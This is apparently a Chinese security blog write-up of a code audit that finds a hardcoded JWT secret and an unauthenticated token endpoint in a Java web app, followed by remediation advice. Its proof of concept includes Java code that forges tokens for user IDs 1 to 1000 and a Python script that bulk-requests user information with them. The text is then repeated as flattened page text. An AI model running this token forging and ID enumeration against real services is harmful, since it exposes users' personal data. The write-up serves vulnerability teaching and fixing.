记一次代码审计中用户信息泄露漏洞挖掘及POC编写
字数 1646 2025-08-24 07:48:22

代码审计实战:JWT用户信息泄露漏洞挖掘与POC编写

漏洞背景

本文记录了一次针对Java Web应用的代码审计过程,发现了一个通过JWT(JSON Web Token)机制导致的用户信息泄露漏洞。攻击者可以通过构造特定JWT令牌,绕过鉴权机制获取系统所有用户的敏感信息。

审计目标

审计目标是一个使用JWT进行身份验证的Java Web应用,主要关注点包括:

  1. JWT生成和验证机制
  2. 系统鉴权设计
  3. 敏感接口访问控制

代码审计步骤

1. 项目结构分析

首先检查项目依赖和核心安全组件:

  • 通过Maven了解项目使用的框架和组件版本
  • 重点关注安全相关组件,特别是JWT实现

2. JWT机制分析

关键文件:/core/security/util/JwtTokenUtil.java

该文件是JWT生成和解析的工具类,主要功能点:

JWT生成机制

  • 使用HS256算法(HMAC with SHA-256)
  • 密钥生成方式:SecretKeySpec使用Base64解码的默认密钥
  • 提供多个重载的buildJWT方法,其中最简单的实现仅需subject参数

关键代码片段

public static String buildJWT(String sub) {
    return buildJWT(sub, null, UUID.randomUUID().toString(), null, null, JwtConsts.EXPIRATION);
}

JWT常量定义

public interface JwtConsts {
    String AUTH_HEADER = "Authorization";
    String SECRET = "defaultSecret";  // 默认密钥,存在安全隐患
    int EXPIRATION = 604800;         // 过期时间(秒)
    String JWT_SEPARATOR = "Bearer ";
}

3. 鉴权机制分析

系统使用@PassToken注解标记不需要鉴权的接口,审计发现以下免鉴权接口:

新闻相关接口

  • /api/xxx/news/page
  • /api/xxx/news/info/{id}

广告相关接口

  • /api/xxx/ad/info/{id}
  • /api/xxx/ad/get_ad_list

Demo类接口

  • /api/xxx/demo/getUserToken
  • /api/xxx/demo/errorLog
  • /api/xxx/demo/log

通知相关接口

  • /api/xxx/notice/get_notice

短信验证码

  • /api/xxx/sms_code

用户相关接口

  • /api/xxx/user/mp/wx/auth
  • /api/xxx/user/wx/auth
  • /api/xxx/user/qq/auth/callback
  • /api/xxx/user/qq/code
  • /api/xxx/user/password/auth
  • /api/xxx/user/mobile/auth
  • /api/xxx/user/register

4. 漏洞发现

重点关注/api/xxx/demo/getUserToken接口,该接口:

  1. 使用最简单的buildJWT方法生成令牌
  2. 仅需提供用户ID(subject)即可生成有效令牌
  3. 生成的令牌可用于访问其他需要鉴权的接口

漏洞利用链

  1. 通过/api/xxx/demo/getUserToken获取初始令牌
  2. 修改JWT中的sub字段(用户ID)
  3. 使用修改后的令牌访问/api/xx/user/info接口
  4. 通过枚举ID值获取所有用户信息

5. POC编写

由于Java与Python在加密实现上的差异,POC编写分为两部分:

Java部分 - 生成令牌字典

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.security.Key;
import java.util.*;
import org.apache.commons.codec.binary.Base64;
import org.joda.time.DateTime;

public class test {
    private static final SignatureAlgorithm JWT_ALG = SignatureAlgorithm.HS256;
    
    public static SecretKey generateKey(SignatureAlgorithm alg, String rule) {
        byte[] bytes = Base64.decodeBase64(rule);
        return new SecretKeySpec(bytes, alg.getJcaName());
    }
    
    public interface JwtConsts {
        String AUTH_HEADER = "Authorization";
        String SECRET = "defaultSecret";
        int EXPIRATION = 604800;
        String JWT_SEPARATOR = "Bearer ";
    }
    
    public static String buildJWT(SignatureAlgorithm alg, Key key, String sub, String aud, String jti, String iss, Date nbf, Integer duration) {
        DateTime iat = DateTime.now();
        DateTime exp = null;
        if (duration != null) {
            exp = (nbf == null ? iat.plusSeconds(duration) : new DateTime(nbf).plusSeconds(duration));
        }
        String compact = Jwts.builder()
                .signWith(alg, key)
                .setSubject(sub)
                .setAudience(aud)
                .setId(jti)
                .setIssuer(iss)
                .setNotBefore(nbf)
                .setIssuedAt(iat.toDate())
                .setExpiration(exp != null ? exp.toDate() : null)
                .compact();
        return io.github.yangyouwang.common.constant.JwtConsts.JWT_SEPARATOR + compact;
    }
    
    public static String buildJWT(String sub, String aud, String jti, String iss, Date nbf, Integer duration) {
        return buildJWT(JWT_ALG, generateKey(JWT_ALG, JwtConsts.SECRET), sub, aud, jti, iss, nbf, duration);
    }
    
    public static String buildJWT(String sub) {
        return buildJWT(sub, null, UUID.randomUUID().toString(), null, null, JwtConsts.EXPIRATION);
    }
    
    public static void main(String[] args) {
        List<String> tokens = new ArrayList<>();
        for (int i = 1; i <= 1000; i++) {
            String token = buildJWT(String.valueOf(i));
            tokens.add(token);
        }
        try {
            Path filePath = Paths.get("tokens.txt");
            Files.write(filePath, tokens);
            System.out.println("Tokens have been successfully written to 'tokens.txt'.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Python部分 - 批量请求用户信息

import requests

def exploit():
    with open('tokens.txt', 'r') as f:
        tokens = f.read().splitlines()
    
    for token in tokens:
        headers = {'Authorization': token}
        response = requests.get('http://target.com/api/xx/user/info', headers=headers)
        
        if response.status_code == 200:
            print(f"Success with token: {token}")
            print(response.json())
        else:
            print(f"Failed with token: {token}")

漏洞修复建议

  1. 加强JWT安全性

    • 使用更强的密钥,避免使用默认值
    • 考虑使用RS256等非对称加密算法替代HS256
    • 为不同用户生成不同的密钥
  2. 完善鉴权机制

    • 严格限制@PassToken注解的使用范围
    • 对敏感接口实施额外的权限检查
    • 实现令牌黑名单机制
  3. 接口安全设计

    • 避免直接使用用户ID作为JWT subject
    • 对用户信息接口增加访问频率限制
    • 实施最小权限原则
  4. 监控与日志

    • 记录异常的令牌生成和验证行为
    • 监控用户信息接口的访问模式

总结

本次审计揭示了JWT实现不当导致的安全风险,特别是:

  • 过于简单的JWT生成方法
  • 默认密钥的使用
  • 缺乏对subject字段的有效验证
  • 免鉴权接口过多且包含敏感功能

开发人员应重视安全组件的正确实现,避免因便利性而牺牲安全性。安全团队应定期进行代码审计,特别是对身份验证和授权机制的检查。

代码审计实战:JWT用户信息泄露漏洞挖掘与POC编写 漏洞背景 本文记录了一次针对Java Web应用的代码审计过程,发现了一个通过JWT(JSON Web Token)机制导致的用户信息泄露漏洞。攻击者可以通过构造特定JWT令牌,绕过鉴权机制获取系统所有用户的敏感信息。 审计目标 审计目标是一个使用JWT进行身份验证的Java Web应用,主要关注点包括: JWT生成和验证机制 系统鉴权设计 敏感接口访问控制 代码审计步骤 1. 项目结构分析 首先检查项目依赖和核心安全组件: 通过Maven了解项目使用的框架和组件版本 重点关注安全相关组件,特别是JWT实现 2. JWT机制分析 关键文件: /core/security/util/JwtTokenUtil.java 该文件是JWT生成和解析的工具类,主要功能点: JWT生成机制 使用HS256算法(HMAC with SHA-256) 密钥生成方式: SecretKeySpec 使用Base64解码的默认密钥 提供多个重载的 buildJWT 方法,其中最简单的实现仅需subject参数 关键代码片段 JWT常量定义 3. 鉴权机制分析 系统使用 @PassToken 注解标记不需要鉴权的接口,审计发现以下免鉴权接口: 新闻相关接口 /api/xxx/news/page /api/xxx/news/info/{id} 广告相关接口 /api/xxx/ad/info/{id} /api/xxx/ad/get_ad_list Demo类接口 /api/xxx/demo/getUserToken /api/xxx/demo/errorLog /api/xxx/demo/log 通知相关接口 /api/xxx/notice/get_notice 短信验证码 /api/xxx/sms_code 用户相关接口 /api/xxx/user/mp/wx/auth /api/xxx/user/wx/auth /api/xxx/user/qq/auth/callback /api/xxx/user/qq/code /api/xxx/user/password/auth /api/xxx/user/mobile/auth /api/xxx/user/register 4. 漏洞发现 重点关注 /api/xxx/demo/getUserToken 接口,该接口: 使用最简单的 buildJWT 方法生成令牌 仅需提供用户ID(subject)即可生成有效令牌 生成的令牌可用于访问其他需要鉴权的接口 漏洞利用链 : 通过 /api/xxx/demo/getUserToken 获取初始令牌 修改JWT中的sub字段(用户ID) 使用修改后的令牌访问 /api/xx/user/info 接口 通过枚举ID值获取所有用户信息 5. POC编写 由于Java与Python在加密实现上的差异,POC编写分为两部分: Java部分 - 生成令牌字典 Python部分 - 批量请求用户信息 漏洞修复建议 加强JWT安全性 : 使用更强的密钥,避免使用默认值 考虑使用RS256等非对称加密算法替代HS256 为不同用户生成不同的密钥 完善鉴权机制 : 严格限制 @PassToken 注解的使用范围 对敏感接口实施额外的权限检查 实现令牌黑名单机制 接口安全设计 : 避免直接使用用户ID作为JWT subject 对用户信息接口增加访问频率限制 实施最小权限原则 监控与日志 : 记录异常的令牌生成和验证行为 监控用户信息接口的访问模式 总结 本次审计揭示了JWT实现不当导致的安全风险,特别是: 过于简单的JWT生成方法 默认密钥的使用 缺乏对subject字段的有效验证 免鉴权接口过多且包含敏感功能 开发人员应重视安全组件的正确实现,避免因便利性而牺牲安全性。安全团队应定期进行代码审计,特别是对身份验证和授权机制的检查。